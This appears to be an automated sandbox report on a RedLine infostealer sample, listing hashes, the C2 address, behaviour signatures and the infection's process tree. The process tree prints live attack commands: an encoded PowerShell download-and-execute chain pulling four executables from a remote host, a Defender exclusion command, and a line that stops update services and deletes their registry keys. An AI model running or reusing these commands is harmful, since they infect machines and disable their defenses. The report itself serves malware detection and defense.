redline | 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5

Analysis

max time kernel
37s
max time network
45s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2023, 07:21

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General

Target
3b6724f0782fb7defaad3f17b96a80cae307d230.exe
Size 361KB
Sample230127-h61fcahd72
SHA256 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5
MD5 5ad8cef52f1794c265593cba1ea16791
SHA1 3b6724f0782fb7defaad3f17b96a80cae307d230
SHA512 b2482be6f58298395710aac1ea159054e95b6e052de604a1901939f7125b5c3aa7eee964d3225d8d6dd7677cf38a5fcd2699365cc7b5534bc8ff70b3ba845999
SSDEEP 6144:HOVW5gGzs7XbM+eg9m+UIuAQjXQ680zRQvPvijCL8LJuxrP8YAOm7hMb+Xc:uVWJzs7XAgs+UIuA6Xv80zunvfLXAMbD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/3572-174-0x0000000000120000-0x0000000000140000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 4336 created 372	4336	SmartDefRun.exe	46
PID 4336 created 372	4336	SmartDefRun.exe	46
PID 4336 created 372	4336	SmartDefRun.exe	46
PID 4336 created 372	4336	SmartDefRun.exe	46
PID 4788 created 620	4788	powershell.EXE	3

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2308	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
3896	C4Loader.exe
3948	new2.exe
4384	SysApp.exe
4336	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3632 set thread context of 5016	3632	3b6724f0782fb7defaad3f17b96a80cae307d230.exe	82
PID 3948 set thread context of 3572	3948	new2.exe	92
PID 4336 set thread context of 3080	4336	SmartDefRun.exe	114
PID 4788 set thread context of 5016	4788	powershell.EXE	119

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2364	sc.exe
3544	sc.exe
4820	sc.exe
4764	sc.exe
4844	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2828	3632	WerFault.exe	80
4184	3948	WerFault.exe	88

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2308	powershell.exe
2308	powershell.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
4384	SysApp.exe
3572	vbc.exe
4336	SmartDefRun.exe
4336	SmartDefRun.exe
3640	powershell.exe
3640	powershell.exe
4336	SmartDefRun.exe
4336	SmartDefRun.exe
4336	SmartDefRun.exe
4336	SmartDefRun.exe
4420	powershell.exe
4420	powershell.exe
4336	SmartDefRun.exe
4336	SmartDefRun.exe
4788	powershell.EXE
1460	powershell.EXE
1460	powershell.EXE
4788	powershell.EXE
4788	powershell.EXE
5016	dllhost.exe
5016	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	3572	vbc.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeIncreaseQuotaPrivilege	4420	powershell.exe
Token: SeSecurityPrivilege	4420	powershell.exe
Token: SeTakeOwnershipPrivilege	4420	powershell.exe
Token: SeLoadDriverPrivilege	4420	powershell.exe
Token: SeSystemProfilePrivilege	4420	powershell.exe
Token: SeSystemtimePrivilege	4420	powershell.exe
Token: SeProfSingleProcessPrivilege	4420	powershell.exe
Token: SeIncBasePriorityPrivilege	4420	powershell.exe
Token: SeCreatePagefilePrivilege	4420	powershell.exe
Token: SeBackupPrivilege	4420	powershell.exe
Token: SeRestorePrivilege	4420	powershell.exe
Token: SeShutdownPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeSystemEnvironmentPrivilege	4420	powershell.exe
Token: SeRemoteShutdownPrivilege	4420	powershell.exe
Token: SeUndockPrivilege	4420	powershell.exe
Token: SeManageVolumePrivilege	4420	powershell.exe
Token: 33	4420	powershell.exe
Token: 34	4420	powershell.exe
Token: 35	4420	powershell.exe
Token: 36	4420	powershell.exe
Token: SeIncreaseQuotaPrivilege	4420	powershell.exe
Token: SeSecurityPrivilege	4420	powershell.exe
Token: SeTakeOwnershipPrivilege	4420	powershell.exe
Token: SeLoadDriverPrivilege	4420	powershell.exe
Token: SeSystemProfilePrivilege	4420	powershell.exe
Token: SeSystemtimePrivilege	4420	powershell.exe
Token: SeProfSingleProcessPrivilege	4420	powershell.exe
Token: SeIncBasePriorityPrivilege	4420	powershell.exe
Token: SeCreatePagefilePrivilege	4420	powershell.exe
Token: SeBackupPrivilege	4420	powershell.exe
Token: SeRestorePrivilege	4420	powershell.exe
Token: SeShutdownPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeSystemEnvironmentPrivilege	4420	powershell.exe
Token: SeRemoteShutdownPrivilege	4420	powershell.exe
Token: SeUndockPrivilege	4420	powershell.exe
Token: SeManageVolumePrivilege	4420	powershell.exe
Token: 33	4420	powershell.exe
Token: 34	4420	powershell.exe
Token: 35	4420	powershell.exe
Token: 36	4420	powershell.exe
Token: SeIncreaseQuotaPrivilege	4420	powershell.exe
Token: SeSecurityPrivilege	4420	powershell.exe
Token: SeTakeOwnershipPrivilege	4420	powershell.exe
Token: SeLoadDriverPrivilege	4420	powershell.exe
Token: SeSystemProfilePrivilege	4420	powershell.exe
Token: SeSystemtimePrivilege	4420	powershell.exe
Token: SeProfSingleProcessPrivilege	4420	powershell.exe
Token: SeIncBasePriorityPrivilege	4420	powershell.exe
Token: SeCreatePagefilePrivilege	4420	powershell.exe
Token: SeBackupPrivilege	4420	powershell.exe
Token: SeRestorePrivilege	4420	powershell.exe
Token: SeShutdownPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeSystemEnvironmentPrivilege	4420	powershell.exe
Token: SeRemoteShutdownPrivilege	4420	powershell.exe
Token: SeUndockPrivilege	4420	powershell.exe
Token: SeManageVolumePrivilege	4420	powershell.exe
Token: 33	4420	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 5016	3632	3b6724f0782fb7defaad3f17b96a80cae307d230.exe	82
PID 3632 wrote to memory of 5016	3632	3b6724f0782fb7defaad3f17b96a80cae307d230.exe	82
PID 3632 wrote to memory of 5016	3632	3b6724f0782fb7defaad3f17b96a80cae307d230.exe	82
PID 3632 wrote to memory of 5016	3632	3b6724f0782fb7defaad3f17b96a80cae307d230.exe	82
PID 3632 wrote to memory of 5016	3632	3b6724f0782fb7defaad3f17b96a80cae307d230.exe	82
PID 5016 wrote to memory of 2308	5016	vbc.exe	85
PID 5016 wrote to memory of 2308	5016	vbc.exe	85
PID 5016 wrote to memory of 2308	5016	vbc.exe	85
PID 2308 wrote to memory of 3896	2308	powershell.exe	87
PID 2308 wrote to memory of 3896	2308	powershell.exe	87
PID 2308 wrote to memory of 3896	2308	powershell.exe	87
PID 2308 wrote to memory of 3948	2308	powershell.exe	88
PID 2308 wrote to memory of 3948	2308	powershell.exe	88
PID 2308 wrote to memory of 3948	2308	powershell.exe	88
PID 2308 wrote to memory of 4384	2308	powershell.exe	90
PID 2308 wrote to memory of 4384	2308	powershell.exe	90
PID 2308 wrote to memory of 4384	2308	powershell.exe	90
PID 2308 wrote to memory of 4336	2308	powershell.exe	91
PID 2308 wrote to memory of 4336	2308	powershell.exe	91
PID 3948 wrote to memory of 3572	3948	new2.exe	92
PID 3948 wrote to memory of 3572	3948	new2.exe	92
PID 3948 wrote to memory of 3572	3948	new2.exe	92
PID 3948 wrote to memory of 3572	3948	new2.exe	92
PID 3948 wrote to memory of 3572	3948	new2.exe	92
PID 1948 wrote to memory of 2364	1948	cmd.exe	103
PID 1948 wrote to memory of 2364	1948	cmd.exe	103
PID 1948 wrote to memory of 3544	1948	cmd.exe	104
PID 1948 wrote to memory of 3544	1948	cmd.exe	104
PID 1948 wrote to memory of 4820	1948	cmd.exe	105
PID 1948 wrote to memory of 4820	1948	cmd.exe	105
PID 1948 wrote to memory of 4764	1948	cmd.exe	106
PID 1948 wrote to memory of 4764	1948	cmd.exe	106
PID 1948 wrote to memory of 4844	1948	cmd.exe	107
PID 1948 wrote to memory of 4844	1948	cmd.exe	107
PID 1948 wrote to memory of 3120	1948	cmd.exe	108
PID 1948 wrote to memory of 3120	1948	cmd.exe	108
PID 1948 wrote to memory of 4876	1948	cmd.exe	109
PID 1948 wrote to memory of 4876	1948	cmd.exe	109
PID 1948 wrote to memory of 3188	1948	cmd.exe	110
PID 1948 wrote to memory of 3188	1948	cmd.exe	110
PID 1948 wrote to memory of 2284	1948	cmd.exe	112
PID 1948 wrote to memory of 2284	1948	cmd.exe	112
PID 1948 wrote to memory of 3004	1948	cmd.exe	113
PID 1948 wrote to memory of 3004	1948	cmd.exe	113
PID 4336 wrote to memory of 3080	4336	SmartDefRun.exe	114
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119
PID 4788 wrote to memory of 5016	4788	powershell.EXE	119

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{fdd92238-bfff-43f4-9631-cf202165d9bf}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5016

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:372
- C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe
  "C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2308
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:3896
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3948
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3572
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3948 -s 148
        6⤵
        Program crash
        
        PID:4184
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4384
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4336
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3632 -s 152
    3⤵
    - Program crash
    PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3640
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2364
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3544
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
